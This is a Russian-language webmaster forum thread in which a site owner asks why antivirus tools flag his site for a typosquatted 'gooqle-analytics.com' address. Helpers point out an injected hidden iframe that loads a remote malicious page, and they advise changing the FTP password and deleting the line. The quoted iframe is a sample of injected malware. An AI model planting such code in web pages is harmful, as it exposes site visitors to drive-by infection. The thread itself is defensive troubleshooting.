Форум Сайтостроение Статистика и аналитика

google-analytics вирус

12
E
На сайте с 05.04.2007
Offline
55
everestrus
5291

Всем привет

Вот случилась как бы проблемка! заходят пользователи моего сайта ко мне на сайт и антивирусники сразу ругаються находи вирус на http://gooqle-analytics.com/ivoice/l/lv.php или http://gooqle-analytics.com/invite/zero/lv.php

прочитал об этом вирусе вроде безобидний просто лочит опредение сайт что бы не можно было зайти!

но как его грохнуть с моего сайта?

помогите плиз!

спасибо большое

Магазин мотоэкипировки RSVMoto (http://www.rsvmoto.com.ua) Самые дешевые курсы обмена валют (http://emoney-market.com/?everestrus)
P1
На сайте с 04.04.2008
Offline
131
Pit-1
#1

Содержимое файла lv.php приведи может кто чем и поможет.

E
На сайте с 05.04.2007
Offline
55
everestrus
#2

дело то в том что если заходиш по ссылке http://www.google-analytics.com/invite/zero/lvv.php пишет

Not Found

The requested URL /invite/zero/lvv.php was not found on this server.

и у меня на сайте его нигде нету этого файла

вот можете попробовать зайти на сайте moto-ua.net

модераторов прошу не банить!

[Удален]
#3

А это что за гадость:

<iframe src="http://leohin.com/diamond/i/index.php?out=2222" width=1 height=1 style="visibility: hidden"></iframe>
?

З.Ы. Вопрос риторический.

P1
На сайте с 04.04.2008
Offline
131
Pit-1
#4

Тут наверное и был этот вирус :)

_ttp://leohin.com/diamond/i/

This Account Has Been Suspended For Violation Of Hosting Terms And Conditions.

TC скорее всего не виноват бродит уже давно такой вирусок. Почитать о нем можно здесь:

_ttp://homenet.corbina.net/index.php?showtopic=125643&pid=1062729221&st=0&

PS. Поменяй на хосте фтп пароль.

dkameleon
На сайте с 09.12.2005
Offline
386
dkameleon
#5

в урле:

gooqle

Дизайн интерьера (http://balabukha.com/)
E
На сайте с 05.04.2007
Offline
55
everestrus
#6
Psycho:
А это что за гадость:
<iframe src="http://leohin.com/diamond/i/index.php?out=2222" width=1 height=1 style="visibility: hidden"></iframe>
?
З.Ы. Вопрос риторический.

Большое спасибо при загрузке страници реально он появляеться!

но я его не заметил потому как в самом коде на сервере такого кода нету!

P1
На сайте с 04.04.2008
Offline
131
Pit-1
#7

Он есть и именно у тебя в коде на сервере. По этому поменяй фтп пароль и удали эту хрень из кода.

E
На сайте с 05.04.2007
Offline
55
everestrus
#8

кстати перерил все и все таки нашел эту строку удалил! пока жду результатов от людей но думаю скорее всего проблема была имено в этой строке, отдельное спасибо Psycho ну и все тоже!

K
На сайте с 24.03.2004
Offline
223
kostich
#9
everestrus:
кстати перерил все и все таки нашел эту строку удалил! пока жду результатов от людей но думаю скорее всего проблема была имено в этой строке, отдельное спасибо Psycho ну и все тоже!

давайте URL сайта, глянем... там может быть через javascript это быть, т.е. надо смотреть в documet.write, eval и т.д.

проверенная ддос защита (http://ddos-protection.ru) -> http://ddos-protection.ru (http://ddos-protection.ru), бесплатный тест, цена от размера атаки не зависит.
P1
На сайте с 04.04.2008
Offline
131
Pit-1
#10
kostich:
давайте URL сайта, глянем... там может быть через javascript это быть, т.е. надо смотреть в documet.write, eval и т.д.

Урл у него в подписи :)

12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий